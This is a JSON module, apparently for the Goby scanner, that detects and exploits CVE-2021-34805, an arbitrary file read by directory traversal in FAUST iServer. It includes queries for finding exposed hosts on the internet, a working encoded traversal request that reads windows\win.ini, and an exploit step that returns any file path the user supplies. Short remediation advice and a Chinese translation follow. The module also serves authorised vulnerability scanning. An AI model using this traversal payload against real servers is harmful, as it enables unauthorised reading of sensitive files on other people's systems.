{
  "Name": "FAUST iServer File Read (CVE-2021-34805)",
  "Description": "<p>Faust Iserver is a German company Land Software for bringing Faust, Faust Entry and Lidos databases to the Intranet and Internet.<br></p><p>FAUST iServer 9.0.017.017.1- 9.0.018.018.4 has an arbitrary file read vulnerability, and unauthorized users can obtain sensitive information.<br></p>",
  "Product": "FAUST iServer",
  "Homepage": "http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver",
  "DisclosureDate": "2022-03-24",
  "Author": "abszse",
  "FofaQuery": "(banner=\"iServer\" || header=\"iServer\") && title!=\"SuperMap\"",
  "GobyQuery": "(banner=\"iServer\" || header=\"iServer\") && title!=\"SuperMap\"",
  "Level": "2",
  "Impact": "<p>FAUST iServer 9.0.017.017.1- 9.0.018.018.4 has an arbitrary file read vulnerability, and unauthorized users can obtain sensitive information.<br></p>",
  "Recommendation": "<p>It is forbidden to be exposed to the public network, and a whitelist can be set for access through security devices such as firewalls.</p><p>Pay attention to the official website update in time:<span style=\"color: var(--primaryFont-color);\"><a href=\"http://www.land-software.de/lfs.fau?prj=iweb&amp;dn=faust+iserver\">http://www.land-software.de/lfs.fau?prj=iweb&amp;dn=faust+iserver</a></span></p>",
  "References": [
    "https://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html"
  ],
  "Is0day": false,
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "%5cwindows%5cwin.ini",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "bit app support",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "extensions",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "fonts",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e{{{cmd}}}",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody||"
      ]
    }
  ],
  "Tags": [
    "Directory Traversal"
  ],
  "VulType": [
    "Directory Traversal"
  ],
  "CVEIDs": [
    "CVE-2021-34805"
  ],
  "CNNVD": [
    "CNNVD-202201-2281"
  ],
  "CNVD": [
    ""
  ],
  "CVSSScore": "7.5",
  "Translation": {
    "CN": {
      "Name": "FAUST iServer 任意文件读取漏洞 (CVE-2021-34805)",
      "Product": "FAUST iServer",
      "Description": "<p>Faust Iserver是德国Land Software公司的用于将 Faust、Faust Entry 和 Lidos 数据库带到内联网和互联网上。<br></p><p>FAUST iServer 9.0.017.017.1- 9.0.018.018.4版本存在任意文件读取漏洞，未授权用户可获取敏感信息。<br></p>",
      "Recommendation": "<p>禁止暴露到公网，可通过防火墙等安全设备设置访问的白名单。</p><p>及时关注官网更新：<span style=\"color: var(--primaryFont-color);\"><a href=\"http://www.land-software.de/lfs.fau?prj=iweb&amp;dn=faust+iserver\">http://www.land-software.de/lfs.fau?prj=iweb&amp;dn=faust+iserver</a></span></p>",
      "Impact": "<p>FAUST iServer 9.0.017.017.1- 9.0.018.018.4版本存在任意文件读取漏洞，未授权用户可获取敏感信息。<br></p>",
      "VulType": [
        "⽬录穿越/遍历"
      ],
      "Tags": [
        "⽬录穿越/遍历"
      ]
    },
    "EN": {
      "Name": "FAUST iServer File Read (CVE-2021-34805)",
      "Product": "FAUST iServer",
      "Description": "<p>Faust Iserver is a German company Land Software for bringing Faust, Faust Entry and Lidos databases to the Intranet and Internet.<br></p><p>FAUST iServer 9.0.017.017.1- 9.0.018.018.4 has an arbitrary file read vulnerability, and unauthorized users can obtain sensitive information.<br></p>",
      "Recommendation": "<p>It is forbidden to be exposed to the public network, and a whitelist can be set for access through security devices such as firewalls.</p><p>Pay attention to the official website update in time:<span style=\"color: var(--primaryFont-color);\"><a href=\"http://www.land-software.de/lfs.fau?prj=iweb&amp;dn=faust+iserver\">http://www.land-software.de/lfs.fau?prj=iweb&amp;dn=faust+iserver</a></span></p>",
      "Impact": "<p>FAUST iServer 9.0.017.017.1- 9.0.018.018.4 has an arbitrary file read vulnerability, and unauthorized users can obtain sensitive information.<br></p>",
      "VulType": [
        "Directory Traversal"
      ],
      "Tags": [
        "Directory Traversal"
      ]
    }
  },
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}